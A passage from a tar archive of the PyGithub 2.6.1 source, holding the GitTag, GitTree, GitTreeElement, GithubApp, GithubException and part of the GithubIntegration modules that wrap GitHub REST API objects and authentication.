Attribute[int] = NotSet self._label: Attribute[str] = NotSet self._name: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._size: Attribute[int] = NotSet self._state: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._uploader: Attribute[github.NamedUser.NamedUser] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"url": self.url}) @property def browser_download_url(self) -> str: self._completeIfNotSet(self._browser_download_url) return self._browser_download_url.value @property def content_type(self) -> str: self._completeIfNotSet(self._content_type) return self._content_type.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def download_count(self) -> int: self._completeIfNotSet(self._download_count) return self._download_count.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def label(self) -> str: self._completeIfNotSet(self._label) return self._label.value @property def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def size(self) -> int: self._completeIfNotSet(self._size) return self._size.value @property def state(self) -> str: self._completeIfNotSet(self._state) return self._state.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def uploader(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._uploader) return self._uploader.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def delete_asset(self) -> bool: """ Delete asset from the release. """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) return True def download_asset( self, path: None | str = None, chunk_size: int | None = 1 ) -> tuple[int, dict[str, Any], Iterator] | None: """ Download asset to the path or return an iterator for the stream. """ if path is None: return self._requester.getStream(self.url, chunk_size=chunk_size) self._requester.getFile(self.url, path=path, chunk_size=chunk_size) return None def update_asset(self, name: str, label: str = "") -> GitReleaseAsset: """ Update asset metadata. """ assert isinstance(name, str), name assert isinstance(label, str), label post_parameters = {"name": name, "label": label} headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) return GitReleaseAsset(self._requester, headers, data, completed=True) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "browser_download_url" in attributes: # pragma no branch self._browser_download_url = self._makeStringAttribute(attributes["browser_download_url"]) if "content_type" in attributes: # pragma no branch self._content_type = self._makeStringAttribute(attributes["content_type"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "download_count" in attributes: # pragma no branch self._download_count = self._makeIntAttribute(attributes["download_count"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "label" in attributes: # pragma no branch self._label = self._makeStringAttribute(attributes["label"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "size" in attributes: # pragma no branch self._size = self._makeIntAttribute(attributes["size"]) if "state" in attributes: # pragma no branch self._state = self._makeStringAttribute(attributes["state"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "uploader" in attributes: # pragma no branch self._uploader = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["uploader"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/GitTag.py0000644000175100001660000001503214756101563016002 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github.GitAuthor import github.GitCommitVerification import github.GithubObject import github.GitObject import github.GitTreeElement from github.GithubObject import Attribute, CompletableGithubObject, NotSet if TYPE_CHECKING: from github.GitAuthor import GitAuthor from github.GitCommitVerification import GitCommitVerification from github.GitObject import GitObject class GitTag(CompletableGithubObject): """ This class represents GitTags. The reference can be found here https://docs.github.com/en/rest/reference/git#tags The OpenAPI schema can be found at - /components/schemas/git-tag """ def _initAttributes(self) -> None: self._message: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._object: Attribute[GitObject] = NotSet self._sha: Attribute[str] = NotSet self._tag: Attribute[str] = NotSet self._tagger: Attribute[GitAuthor] = NotSet self._url: Attribute[str] = NotSet self._verification: Attribute[GitCommitVerification] = NotSet def __repr__(self) -> str: return self.get__repr__({"sha": self._sha.value, "tag": self._tag.value}) @property def message(self) -> str: self._completeIfNotSet(self._message) return self._message.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def object(self) -> GitObject: self._completeIfNotSet(self._object) return self._object.value @property def sha(self) -> str: self._completeIfNotSet(self._sha) return self._sha.value @property def tag(self) -> str: self._completeIfNotSet(self._tag) return self._tag.value @property def tagger(self) -> GitAuthor: self._completeIfNotSet(self._tagger) return self._tagger.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property def verification(self) -> GitCommitVerification: self._completeIfNotSet(self._verification) return self._verification.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "message" in attributes: # pragma no branch self._message = self._makeStringAttribute(attributes["message"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "object" in attributes: # pragma no branch self._object = self._makeClassAttribute(github.GitObject.GitObject, attributes["object"]) if "sha" in attributes: # pragma no branch self._sha = self._makeStringAttribute(attributes["sha"]) if "tag" in attributes: # pragma no branch self._tag = self._makeStringAttribute(attributes["tag"]) if "tagger" in attributes: # pragma no branch self._tagger = self._makeClassAttribute(github.GitAuthor.GitAuthor, attributes["tagger"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "verification" in attributes: # pragma no branch self._verification = self._makeClassAttribute( github.GitCommitVerification.GitCommitVerification, attributes["verification"] ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/GitTree.py0000644000175100001660000001252414756101563016171 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github.GitTreeElement from github.GithubObject import Attribute, CompletableGithubObject, NotSet if TYPE_CHECKING: from github.GitTreeElement import GitTreeElement class GitTree(CompletableGithubObject): """ This class represents GitTrees. The reference can be found here https://docs.github.com/en/rest/reference/git#trees The OpenAPI schema can be found at - /components/schemas/commit-search-result-item/properties/commit/properties/tree - /components/schemas/commit/properties/commit/properties/tree - /components/schemas/file-commit/properties/commit/properties/tree - /components/schemas/git-commit/properties/tree - /components/schemas/git-tree """ def _initAttributes(self) -> None: self._sha: Attribute[str] = NotSet self._tree: Attribute[list[GitTreeElement]] = NotSet self._truncated: Attribute[bool] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"sha": self._sha.value}) @property def _identity(self) -> str: return self.sha @property def sha(self) -> str: self._completeIfNotSet(self._sha) return self._sha.value @property def tree(self) -> list[GitTreeElement]: self._completeIfNotSet(self._tree) return self._tree.value @property def truncated(self) -> bool: self._completeIfNotSet(self._truncated) return self._truncated.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "sha" in attributes: # pragma no branch self._sha = self._makeStringAttribute(attributes["sha"]) if "tree" in attributes: # pragma no branch self._tree = self._makeListOfClassesAttribute(github.GitTreeElement.GitTreeElement, attributes["tree"]) if "truncated" in attributes: # pragma no branch self._truncated = self._makeBoolAttribute(attributes["truncated"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/GitTreeElement.py0000644000175100001660000001155714756101563017510 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class GitTreeElement(NonCompletableGithubObject): """ This class represents GitTreeElements. The OpenAPI schema can be found at - /components/schemas/git-tree/properties/tree/items """ def _initAttributes(self) -> None: self._mode: Attribute[str] = NotSet self._path: Attribute[str] = NotSet self._sha: Attribute[str] = NotSet self._size: Attribute[int] = NotSet self._type: Attribute[str] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"sha": self._sha.value, "path": self._path.value}) @property def mode(self) -> str: return self._mode.value @property def path(self) -> str: return self._path.value @property def sha(self) -> str: return self._sha.value @property def size(self) -> int: return self._size.value @property def type(self) -> str: return self._type.value @property def url(self) -> str: return self._url.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "mode" in attributes: # pragma no branch self._mode = self._makeStringAttribute(attributes["mode"]) if "path" in attributes: # pragma no branch self._path = self._makeStringAttribute(attributes["path"]) if "sha" in attributes: # pragma no branch self._sha = self._makeStringAttribute(attributes["sha"]) if "size" in attributes: # pragma no branch self._size = self._makeIntAttribute(attributes["size"]) if "type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["type"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/GithubApp.py0000644000175100001660000002352014756101563016507 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2015 Matt Babineau # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Martijn Koster # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Colby Gallup # # Copyright 2020 Mahesh Raju # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any import github.GithubObject import github.NamedUser from github.GithubObject import Attribute, CompletableGithubObject, NotSet class GithubApp(CompletableGithubObject): """ This class represents github apps. The reference can be found here https://docs.github.com/en/rest/reference/apps The OpenAPI schema can be found at - /components/schemas/integration - /components/schemas/nullable-integration """ def _initAttributes(self) -> None: self._client_id: Attribute[str] = NotSet self._client_secret: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._description: Attribute[str] = NotSet self._events: Attribute[list[str]] = NotSet self._external_url: Attribute[str] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._installations_count: Attribute[int] = NotSet self._name: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._owner: Attribute[github.NamedUser.NamedUser] = NotSet self._pem: Attribute[str] = NotSet self._permissions: Attribute[dict[str, str]] = NotSet self._slug: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet self._webhook_secret: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "url": self._url.value}) @property def client_id(self) -> str: self._completeIfNotSet(self._client_id) return self._client_id.value @property def client_secret(self) -> str: self._completeIfNotSet(self._client_secret) return self._client_secret.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def description(self) -> str: self._completeIfNotSet(self._description) return self._description.value @property def events(self) -> list[str]: self._completeIfNotSet(self._events) return self._events.value @property def external_url(self) -> str: self._completeIfNotSet(self._external_url) return self._external_url.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def installations_count(self) -> int: self._completeIfNotSet(self._installations_count) return self._installations_count.value @property def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def owner(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._owner) return self._owner.value @property def pem(self) -> str: self._completeIfNotSet(self._pem) return self._pem.value @property def permissions(self) -> dict[str, str]: self._completeIfNotSet(self._permissions) return self._permissions.value @property def slug(self) -> str: self._completeIfNotSet(self._slug) return self._slug.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: return self._url.value @property def webhook_secret(self) -> str: self._completeIfNotSet(self._webhook_secret) return self._webhook_secret.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "client_id" in attributes: # pragma no branch self._client_id = self._makeStringAttribute(attributes["client_id"]) if "client_secret" in attributes: # pragma no branch self._client_secret = self._makeStringAttribute(attributes["client_secret"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "events" in attributes: # pragma no branch self._events = self._makeListOfStringsAttribute(attributes["events"]) if "external_url" in attributes: # pragma no branch self._external_url = self._makeStringAttribute(attributes["external_url"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "installations_count" in attributes: # pragma no branch self._installations_count = self._makeIntAttribute(attributes["installations_count"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "owner" in attributes: # pragma no branch self._owner = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["owner"]) if "pem" in attributes: # pragma no branch self._pem = self._makeStringAttribute(attributes["pem"]) if "permissions" in attributes: # pragma no branch self._permissions = self._makeDictAttribute(attributes["permissions"]) if "slug" in attributes: # pragma no branch self._slug = self._makeStringAttribute(attributes["slug"]) self._url = self._makeStringAttribute(f"/apps/{attributes['slug']}") if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: self._url = self._makeStringAttribute(attributes["url"]) if "webhook_secret" in attributes: # pragma no branch self._webhook_secret = self._makeStringAttribute(attributes["webhook_secret"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/GithubException.py0000644000175100001660000001600714756101563017727 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Cameron White # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2016 humbug # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2022 Liuyang Wan # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import json from typing import Any, Dict, List, Optional, Tuple, Type, Union class GithubException(Exception): """ Error handling in PyGithub is done with exceptions. This class is the base of all exceptions raised by PyGithub (but :class:`github.GithubException.BadAttributeException`). Some other types of exceptions might be raised by underlying libraries, for example for network-related issues. """ def __init__( self, status: int, data: Any = None, headers: Optional[Dict[str, str]] = None, message: Optional[str] = None, ): super().__init__() self.__status = status self.__data = data self.__headers = headers self.__message = message self.args = (status, data, headers, message) @property def message(self) -> Optional[str]: return self.__message @property def status(self) -> int: """ The status returned by the Github API. """ return self.__status @property def data(self) -> Any: """ The (decoded) data returned by the Github API. """ return self.__data @property def headers(self) -> Optional[Dict[str, str]]: """ The headers returned by the Github API. """ return self.__headers def __repr__(self) -> str: return f"{self.__class__.__name__}({self.__str__()})" def __str__(self) -> str: if self.__message: msg = f"{self.__message}: {self.status}" else: msg = f"{self.status}" if self.data is not None: msg += " " + json.dumps(self.data) return msg class BadCredentialsException(GithubException): """ Exception raised in case of bad credentials (when Github API replies with a 401 or 403 HTML status) """ class UnknownObjectException(GithubException): """ Exception raised when a non-existing object is requested (when Github API replies with a 404 HTML status) """ class BadUserAgentException(GithubException): """ Exception raised when request is sent with a bad user agent header (when Github API replies with a 403 bad user agent HTML status) """ class RateLimitExceededException(GithubException): """ Exception raised when the rate limit is exceeded (when Github API replies with a 403 rate limit exceeded HTML status) """ class BadAttributeException(Exception): """ Exception raised when Github returns an attribute with the wrong type. """ def __init__( self, actualValue: Any, expectedType: Union[ Dict[Tuple[Type[str], Type[str]], Type[dict]], Tuple[Type[str], Type[str]], List[Type[dict]], List[Tuple[Type[str], Type[str]]], ], transformationException: Optional[Exception], ): self.__actualValue = actualValue self.__expectedType = expectedType self.__transformationException = transformationException @property def actual_value(self) -> Any: """ The value returned by Github. """ return self.__actualValue @property def expected_type( self, ) -> Union[ List[Type[dict]], Tuple[Type[str], Type[str]], Dict[Tuple[Type[str], Type[str]], Type[dict]], List[Tuple[Type[str], Type[str]]], ]: """ The type PyGithub expected. """ return self.__expectedType @property def transformation_exception(self) -> Optional[Exception]: """ The exception raised when PyGithub tried to parse the value. """ return self.__transformationException class TwoFactorException(GithubException): """ Exception raised when Github requires a onetime password for two-factor authentication. """ class IncompletableObject(GithubException): """ Exception raised when we can not request an object from Github because the data returned did not include a URL. """ ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/GithubIntegration.py0000644000175100001660000003552214756101563020257 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Denis Blanchette # # Copyright 2023 Enrico Minack # # Copyright 2023 Hemslo Wang # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Mark Amery # # Copyright 2023 Trim21 # # Copyright 2023 chantra # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Min RK # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations import urllib.parse import warnings from typing import Any import deprecated import urllib3 from urllib3 import Retry import github from github import Consts from github.Auth import AppAuth from github.GithubApp import GithubApp from github.GithubException import GithubException from github.Installation import Installation from github.InstallationAuthorization import InstallationAuthorization from github.PaginatedList import PaginatedList from github.Requester import Requester class GithubIntegration: """ Main class to obtain tokens for a GitHub integration. """ # keep non-deprecated arguments in-sync with Requester # v3: remove integration_id, private_key, jwt_expiry, jwt_issued_at and jwt_algorithm # v3: move auth to the front of arguments # v3: move * before first argument so all arguments must be named, # allows to reorder / add new arguments / remove deprecated arguments without breaking user code # added here to force named parameters because new parameters have been added auth: AppAuth base_url: str __requester: Requester def __init__( self, integration_id: int | str | None = None, private_key: str | None = None, base_url: str = Consts.DEFAULT_BASE_URL, *, timeout: int = Consts.DEFAULT_TIMEOUT, user_agent: str = Consts.DEFAULT_USER_AGENT, per_page: int = Consts.DEFAULT_PER_PAGE, verify: bool | str = True, retry: int | Retry | None = None, pool_size: int | None = None, seconds_between_requests: float | None = Consts.DEFAULT_SECONDS_BETWEEN_REQUESTS, seconds_between_writes: float | None = Consts.DEFAULT_SECONDS_BETWEEN_WRITES, jwt_expiry: int = Consts.DEFAULT_JWT_EXPIRY, jwt_issued_at: int = Consts.DEFAULT_JWT_ISSUED_AT, jwt_algorithm: str = Consts.DEFAULT_JWT_ALGORITHM, auth: AppAuth | None = None, # v3: set lazy = True as the default lazy: bool = False, ) -> None: """ :param integration_id: int deprecated, use auth=github.Auth.AppAuth(...) instead :param private_key: string deprecated, use auth=github.Auth.AppAuth(...) instead :param base_url: string :param timeout: integer :param user_agent: string :param per_page: int :param verify: boolean or string :param retry: int or urllib3.util.retry.Retry object :param pool_size: int :param seconds_between_requests: float :param seconds_between_writes: float :param jwt_expiry: int deprecated, use auth=github.Auth.AppAuth(...) instead :param jwt_issued_at: int deprecated, use auth=github.Auth.AppAuth(...) instead :param jwt_algorithm: string deprecated, use auth=github.Auth.AppAuth(...) instead :param auth: authentication method :param lazy: completable objects created from this instance are lazy, as well as completable objects created from those, and so on """ if integration_id is not None: assert isinstance(integration_id, (int, str)), integration_id if private_key is not None: assert isinstance(private_key, str), "supplied private key should be a string" assert isinstance(base_url, str), base_url assert isinstance(timeout, int), timeout assert user_agent is None or isinstance(user_agent, str), user_agent assert isinstance(per_page, int), per_page assert isinstance(verify, (bool, str)), verify assert retry is None or isinstance(retry, int) or isinstance(retry, urllib3.util.Retry), retry assert pool_size is None or isinstance(pool_size, int), pool_size assert seconds_between_requests is None or seconds_between_requests >= 0 assert seconds_between_writes is None or seconds_between_writes >= 0 assert isinstance(jwt_expiry, int), jwt_expiry assert Consts.MIN_JWT_EXPIRY <= jwt_expiry <= Consts.MAX_JWT_EXPIRY, jwt_expiry assert isinstance(jwt_issued_at, int) assert isinstance(lazy, bool), lazy self.base_url = base_url if ( integration_id is not None or private_key is not None or jwt_expiry != Consts.DEFAULT_JWT_EXPIRY or jwt_issued_at != Consts.DEFAULT_JWT_ISSUED_AT or jwt_algorithm != Consts.DEFAULT_JWT_ALGORITHM ): warnings.warn( "Arguments integration_id, private_key, jwt_expiry, jwt_issued_at and jwt_algorithm are deprecated, " "please use auth=github.Auth.AppAuth(...) instead", category=DeprecationWarning, ) if jwt_algorithm != Consts.DEFAULT_JWT_ALGORITHM: auth = AppAuth( integration_id, # type: ignore private_key=None, # type: ignore sign_func=AppAuth.create_jwt_sign(private_key, jwt_algorithm), # type: ignore jwt_expiry=jwt_expiry, jwt_issued_at=jwt_issued_at, ) else: auth = AppAuth( integration_id, # type: ignore private_key, # type: ignore jwt_expiry=jwt_expiry, jwt_issued_at=jwt_issued_at, ) assert isinstance( auth, AppAuth ), f"GithubIntegration requires github.Auth.AppAuth authentication, not {type(auth)}" self.auth = auth self.__requester = Requester( auth=auth, base_url=self.base_url, timeout=timeout, user_agent=user_agent, per_page=per_page, verify=verify, retry=retry, pool_size=pool_size, seconds_between_requests=seconds_between_requests, seconds_between_writes=seconds_between_writes, lazy=lazy, ) def withLazy(self, lazy: bool) -> GithubIntegration: """ Create a GithubIntegration instance with identical configuration but the given lazy setting. :param lazy: completable objects created from this instance are lazy, as well as completable objects created from those, and so on :return: new Github instance """ kwargs = self.__requester.kwargs kwargs.update(lazy=lazy) return GithubIntegration(**kwargs) def close(self) -> None: """Close connections to the server. Alternatively, use the GithubIntegration object as a context manager: .. code-block:: python with github.GithubIntegration(...) as gi: # do something """ self.__requester.close() def __enter__(self) -> GithubIntegration: return self def __exit__(self, exc_type: Any, exc_val: Any, exc_tb: Any) -> None: self.close() def get_github_for_installation( self, installation_id: int, token_permissions: dict[str, str] | None = None ) -> github.Github: # The installation has to authenticate as an installation, not an app auth = self.auth.get_installation_auth(installation_id, token_permissions, self.__requester) return github.Github(**self.__requester.withAuth(auth).kwargs) @property def requester(self) -> Requester: """ Return my Requester object. For example, to make requests to API endpoints not yet supported by PyGitHub. """ return self.__requester def _get_headers(self) -> dict[str, str]: """ Get headers for the requests. """ return { "Accept": Consts.mediaTypeIntegrationPreview, } def _get_installed_app(self, url: str) -> Installation: """ Get installation for the given URL. """ headers, response = self.__requester.requestJsonAndCheck("GET", url, headers=self._get_headers()) return Installation( requester=self.__requester, headers=headers, attributes=response, ) @deprecated.deprecated( "Use github.Github(auth=github.Auth.AppAuth), github.Auth.AppAuth.token or github.Auth.AppAuth.create_jwt(expiration) instead" ) def create_jwt(self, expiration: int | None = None) -> str: """ Create a signed JWT https://docs.github.com/en/developers/apps/building-github-apps/authenticating-with-github-apps#authenticating-as-a-github-app """ return self.auth.create_jwt(expiration) def get_access_token( self, installation_id: int, permissions: dict[str, str] | None = None ) -> InstallationAuthorization: """ :calls: `POST /app/installations/{installation_id}/access_tokens ` """ if permissions is None: permissions = {} if not isinstance(permissions, dict): raise GithubException(status=400, data={"message": "Invalid permissions"}, headers=None) body = {"permissions": permissions} headers, response = self.__requester.requestJsonAndCheck( "POST", f"/app/installations/{installation_id}/access_tokens", headers=self._get_headers(), input=body, ) return InstallationAuthorization( requester=self.__requester, headers=headers, attributes=response, ) @deprecated.deprecated("Use get_repo_installation") def get_installation(self, owner: str, repo: str) -> Installation: """ Deprecated by get_repo_installation. :calls:`GET /repos/{owner}/{repo}/installation ` :calls:`GET /repos/{owner}/{repo}/installation ` """ owner = urllib.parse.quote(owner) repo = urllib.parse.quote(repo) return self._get_installed_app(url=f"/repos/{owner}/{repo}/installation") def get_installations(self) -> 